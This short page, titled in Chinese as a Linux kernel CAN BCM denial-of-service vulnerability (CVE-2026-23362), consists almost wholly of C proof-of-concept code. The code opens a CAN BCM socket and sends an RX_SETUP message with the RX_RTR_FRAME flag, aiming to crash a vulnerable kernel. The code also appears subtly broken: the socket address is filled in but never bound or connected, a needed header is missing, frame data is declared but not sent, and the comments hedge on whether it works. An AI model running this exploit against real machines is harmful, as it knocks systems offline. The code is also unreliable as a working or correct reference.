Linux内核CAN BCM模块拒绝服务漏洞 (CVE-2026-23362)

/* * PoC for CVE-2026-23362: Linux Kernel CAN BCM Missing Lock Initialization * This code attempts to trigger the crash by creating a BCM socket * and sending an RX_SETUP command with the RX_RTR_FRAME flag. * Compilation: gcc -o poc_cve_2026_23362 poc_cve_2026_23362.c */ #include <stdio.h> #include <string.h> #include <stdlib.h> #include <unistd.h> #include <sys/socket.h> #include <linux/can.h> #include <linux/can/bcm.h> int main() { int s; struct sockaddr_can addr; struct bcm_msg_head msg; // Create a CAN BCM socket s = socket(AF_CAN, SOCK_DGRAM, CAN_BCM); if (s < 0) { perror("socket"); return 1; } memset(&addr, 0, sizeof(addr)); addr.can_family = AF_CAN; // 'can0' should be a valid CAN interface, but the crash happens during setup logic addr.can_ifindex = if_nametoindex("can0"); if (addr.can_ifindex == 0) { // If no physical CAN interface, loopback might be needed or vcan // For triggering the allocation bug, the index might matter less than the ioctl path printf("Interface not found, trying index 0 (any) or setup vcan first.\n"); // In many PoC scenarios for kernel bugs, just binding to the protocol is enough to trigger allocation paths } memset(&msg, 0, sizeof(msg)); msg.opcode = RX_SETUP; msg.flags = RX_RTR_FRAME; // The critical flag that triggers bcm_can_tx path msg.can_id = 0x123; msg.nframes = 1; // Send the malicious setup command if (write(s, &msg, sizeof(msg)) < 0) { perror("write"); close(s); return 1; } printf("Payload sent. If kernel is vulnerable, a crash may occur on RTR handling.\n"); // Keeping socket open to maintain bcm_op lifecycle pause(); close(s); return 0; }